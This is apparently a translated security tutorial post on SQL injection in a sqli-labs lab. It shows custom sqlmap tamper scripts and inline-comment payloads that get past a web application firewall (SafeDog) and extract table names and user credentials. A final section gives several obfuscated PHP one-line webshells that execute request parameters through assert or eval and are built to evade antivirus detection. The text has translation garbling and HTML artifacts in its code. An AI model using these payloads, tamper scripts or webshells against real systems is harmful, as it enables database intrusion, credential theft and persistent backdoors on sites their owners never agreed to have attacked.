Custom SQLmap and WAF bypass

Cybersecurity Law

1. SQLmap tamper scripting

Take sqli-lab level 26 as an example

Enter ?id=1’ — +, error character injection

image-20230922173705518

Considering the closure problem, enter ?id=1’ and 1, but the and and spaces disappear in the echo, which shows that the and and spaces are filtered.

image-20230922174624408

image-20230922174720362

Because and and or are filtered, consider using double-writing bypass means, and use other characters to replace spaces. For example
or

Common SQL injection bypass techniques

image-20230922191147666

Using SQLmap to scan, the result is that there is no SQL injection vulnerability. However, it is clear that there is a SQL injection vulnerability in the manual test, but SQLmap does not scan it. This is because SQLmap does not have a suitable bypass method when injecting and is filtered out. Then we need to SQLmap The sent payload is encoded. Because of this SQLmap provides us with the plug-in tamper to transform SQLmap

image-20230922192857019

SQLmap is a SQL injection artifact that can encode and transform the injected payload through tamper, achieving the purpose of bypassing certain restrictions. But sometimes, the Tamper script that comes with SQLmap (can be understood as a script set that comes with sqlmap) is not particularly easy to use, and the Tamper script needs to be customized according to the actual situation.

sqlmap, Tamper detailed explanation and usage guide – WebShell’S Blog

Create a new file in the Tamper script of SQLmap, sqli-lab-26.py. Using this file requires search and replace

To search and replace, you can use the related function replace or you can use regular re.sub

Added: –technique U indicates specifying a union query

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    <space> ? 
    and anANDd
    -- + and '1
    oORr
    """
    payload = re.sub(r"(?i)#"," and '1",payload) #Use ?i to indicate case insensitivity
    # payload = re.sub(r"(?i)'-- + '"," and '1",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i) ","?",payload)

    return payload

image-20230922212817684

image-20230922212946095

python ./sqlmap.py -u "http://192.168.16.177/sqli-labs/Less-26/?id=1" --tamper sqli-lab_26: Indicates using the script named sqli-lab_26 in the tamper script set in sqlmap

image-20230922213150507

2. WAF

The Chinese name of WAF (Web Application Firewall) is called “Web Application Firewall”. Using an internationally recognized statement, the definition of WAF is as follows: Web Application Firewall is a dedicated server for HTTP|HTTPS by executing a series of security policies. A product that provides protection for web applications. From the above definition of WAF, we can clearly understand that WAF is a product that works at the application layer and specifically provides security protection for Web applications through specific security policies.

2.1 Common WAFs

Identify WAF by looking at pictures – collecting common WAF interception pages

2.1.1 Categories of WAF

According to different classification methods, WAF can have multiple classifications.

Classified according to product form:

Product form Description Typical products
Soft WAF A WAF installed on the protected server in the form of software. Since it is installed on the server, it can access the files on the server and directly detect whether there is a WebShell on the server and whether any files have been Create etc. Security Dog Cloud Lock D Shield
Hard WAF It is deployed in the link in the form of hardware and supports multiple deployment methods. Deploy to web server front-end. Identify external abnormal traffic and intercept attacks. Tianqing WAG
Cloud WAF generally works in the form of a reverse proxy, by configuring NS records or CNAME records. The request packets for the website are prioritized to pass through the WAF host. After being filtered by the WAF host, the request packets considered harmless are then sent to the actual website server for request. It can be said to be a CDN with protection function. Alibaba Cloud Cloud Shield Tencent Cloud WAF Anheng Xuanwu Shield
Built-in WAF The WAF built into the website system can also be said to be the website system The built-in filtering is directly embedded in the code and has a relatively high degree of freedom. Generally speaking, there are the following situations: Input parameter forced type conversion (intval, etc.). Check the validity of input parameters. Before key functions are executed (SQL execution, page display, command execution, etc.), input through the code flow is detected. Replace and filter the input data before continuing to execute the code flow (escaping/replacing special characters, etc.). The WAF built into the website system is more in line with the business. With a better understanding of both security and business, you can receive fewer false positives and false negatives.

refer to:

A brief analysis of WAF (web application firewall)

2.1.2 Working principle of WAF

The WAF processing process can be roughly divided into four parts: preprocessing, rule detection, processing module, and logging.

WAF processing flow Description
Preprocessing In the preprocessing phase, when receiving data request traffic, it will first determine whether it is an HTTP/HTTPS request, and then check whether the URL request is in the whitelist. If the URL request is in the whitelist, it will be handed over directly. The back-end web server performs response processing, parses the data packets that are not in the whitelist, and then enters the rule detection part.
Rule detection Each WAF product has its own unique detection rule system, and the parsed data packets will enter the detection system for rules Match, check whether the data request complies with the rules, and identify malicious attacks.
Processing module According to different detection results, the processing module will take different security defense actions. If the rules are met, it will be handed over to the back-end Web The server performs response processing and performs relevant blocking, recording, and alarm processing for requests that do not comply with the rules.
Logging WAF will also record the logs of interception processing during the processing, so that users can view and analyze the logs in the future.

refer to

Summary of WAF mechanism and bypass methods: Injection

2.1.3 WAF deployment mode

refer to:

Summary of hardware WAF deployment modes: transparent proxy, reverse proxy, routing mode and port mirroring mode

2.1.4 WAF fingerprint identification

A “fingerprint” is a string of specific characteristics or behavior.

Fingerprint Features Field
Response Status Code ‘405 method not allow’
HTTP response message header fields Server Cookie X-Powered-By special fields
Response text characteristics ‘errors.aliyun.com’ ‘waf.tencent-cloud.com’
Behavior Block response page

refer to:

[Dry information sharing丨Special topic for Python security enthusiasts] WAF fingerprint detection

2.1.5 WAF fingerprint identification tool

wafw00f

identywaf

2.2 SQLi Bypass

2.2.1 Bypass idea

2.2.1.1 Level issues

system level

Component level: HPP

Code level: operations such as deformation and obfuscation

WAF level

2.2.1.2 HTTP protocol issues

Malformed request: request method lili

persistent link

chunked transfer

2.2.2 Bypass analysis

Characters Bypass method
and /*!14400and*/
order by /**/order/*/
*a*/by/**/
union select union/*!88888cas*//*/
*a*/select/**/ union/*!88888cas*/?/*/*!=*/select/**/
database() database(/*%%!AJEST%%%%*/) database(/*!/*/** */*/)
from information_schema.tables /*!from– /*
information_schema.tables*/
from information_schema.columns /*!from– /*
information_schema.columns*/
count(*) count(1)
/*!14400and*/
MySQL's inline comments use special characters to obfuscate and.

Take http://10.4.7.139/sqli-labs/Less-1/ as an example:

?id=1' -- +
?id=2' -- +
?id=2' /*!14400and*/ 1=1 -- +
?id=2' /*!14400and*/ 1=2 -- +
?id=2' /**/order/*/
*a*/by/**/ 4 -- +
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/
*a*/select/**/ 1,2,3 -- +
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/
*a*/select/**/ 1,2,database(/*%%!AJEST%%%%*/) -- +
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/
*a*/select/**/ 1,2,group_concat(table_name) /*!from--
/*
information_schema.tables*/ where table_schema=database(/*%%!AJEST%%%%*/) -- +
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/
*a*/select/**/ 1,2,group_concat(column_name) /*!from--
/*
information_schema.columns*/ where table_schema=database(/*%%!AJEST%%%%*/) /*!14400and*/ table_name='users'-- +
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/
*a*/select/**/ 1,2,count(*) /*!from-- /*
users*/-- +
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/
*a*/select/**/ 1,2,concat(username,0x3a,password) /*!from--
/*
users*/ limit 1,1-- +

2.2.3 Bypassing security dog ideas

  • dirty data
  • Case conversion
  • Double write
  • Inline comments:

Take sqli-lab level 1 as an example

Using bp packet capture to send the resender, it was found that it was intercepted by the security dog

image-20230923094831126

Create a new file sqli-lab_1.py. For GET requests, dirty data has a length limit, but it conforms to POST requests.

import requests


headers ={<!-- -->
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537."
}

i=0
while True:
    i + =1
    url = f"http://192.168.16.183/sqli-labs-master/Less-1/?id=1'/*{<!-- -->'xujie' * i}*/and 1=2 - - + "

    res = requests.get(url= url,headers= headers)

    if ("<title>Interception page</title>" not in res.text) or res.status_code == 414: #Stop when the security dog is bypassed or the server reports an error
        print(i)
        print(url)
        break

Security dogs cannot be bypassed using dirty data. Use introverted comments to bypass and replace and with /*!14400and*/

image-20230923104609804

Query column, replace orderby with /**/order/*/
*a*/by/**/

image-20230923105253048

image-20230923105344760

'''
     and /*!14400and*/
     order by /**/order/*/
*a*/by/**/
     union select union/*!88888cas*//*/
*a*/select/**/
     union/*!88888cas*/?/*/*!=*/select/**/
     database() database(/*%%!xxx%%%*/)
     database(/*!/*/** */*/)
     from information_schema.tables /*!from-- /*
information_schema.tables*/
     from information_schema.columns /*!from-- /*
information_schema.columns*/
     count(*) count(1)
     as /*!14400as*/
     BENCHMARK(5000000,MD5(0x50774459))
     sleep(/*%%!AJEST%%%%*/5)
'''
#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    and
            /*!-*/-/*and*/
    order by
            /**/order/*/
*a*/by/**/
    union all select
            /*!union/*/*! -/*!88888cas*/select*/
    from information_schema.tables
            /*!from-- /*
information_schema.tables*/
    from information_schema.SCHEMATA
            /*!from-- /*
information_schema.SCHEMATA*/
    from information_schema.columns
            /*!from-- /*
information_schema.columns*/
    [as]
            /*!14400as*/
    char
            /*!14400char*/
    database\(\)
            database(/*!/*/**AJEST */*/)
    # --
    """
    payload = re.sub(r'(?i)and', "/*!-*/-/*and*/", payload)
    payload = re.sub(r'(?i)order by', "/**/order/*/
*a*/by/**/", payload)
    payload = re.sub(r'(?i)union all select', "/*!union/*/*! -/*!88888cas*/select*/", payload)
    payload = re.sub(r'(?i)from information_schema.tables', "/*!from-- /*
information_schema.tables*/", payload)
    payload = re.sub(r'(?i)from information_schema.columns', "/*!from-- /*
information_schema.columns*/", payload)
    payload = re.sub(r'(?i)from information_schema.SCHEMATA', "/*!from-- /*
information_schema.SCHEMATA*/", payload)
    payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
    payload = re.sub(r"(?i)char","/*!14400char*/",payload)
    payload = re.sub(r"(?i)database\(\)","database(/*!/*/**AJEST */*/)",payload)
    payload = re.sub(r"(?i)#","-- ",payload)
    payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
    
    return payload

python ./sqlmap.py -u "http://192.168.16.183/sqli-labs-master/Less-1/?id=1" --tamper safedog_bypass --random-agent

image-20230923112324708

image-20230923112447551

image-20230923114756552

3. Avoid killing Trojans in one sentence

3.1 Checking and killing methods

  • Static detection

  • Dynamic detection

3.2 Bypass methods

HTTP request packet deformation: chunked transmission, etc.
The deformation of a Trojan horse in one sentence enables dynamic killing avoidance.

3.3 Example

3.3.1 Example1

<?php
$ajest = base64_decode('Bypassing the security of the dog is the best!');

$ajest($_REQUEST[777]);
?>

3.3.2 Example2

<?php
class Bypass{<!-- -->
public $name;
public $male;
functiondestruct()
    $a = $this->name;
$a($this->male);
}
}
unserialize($POST['777']);
//wuhu=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:20:"eval($_REQUEST[" x"])";}
?>

3.3.3 Example3

<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); function test_alter( & amp;$item1 , $key, $prefix)
{<!-- -->
$item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{<!-- -->
echo "$key. $item2<br />\
";
}
echo "Before ...:\
"; array_walk($fruits, 'test_print');
$a =array_keys($fruits); print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wuhu'];
@$q($r);
?>

3.3.4 Example4

<?php
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>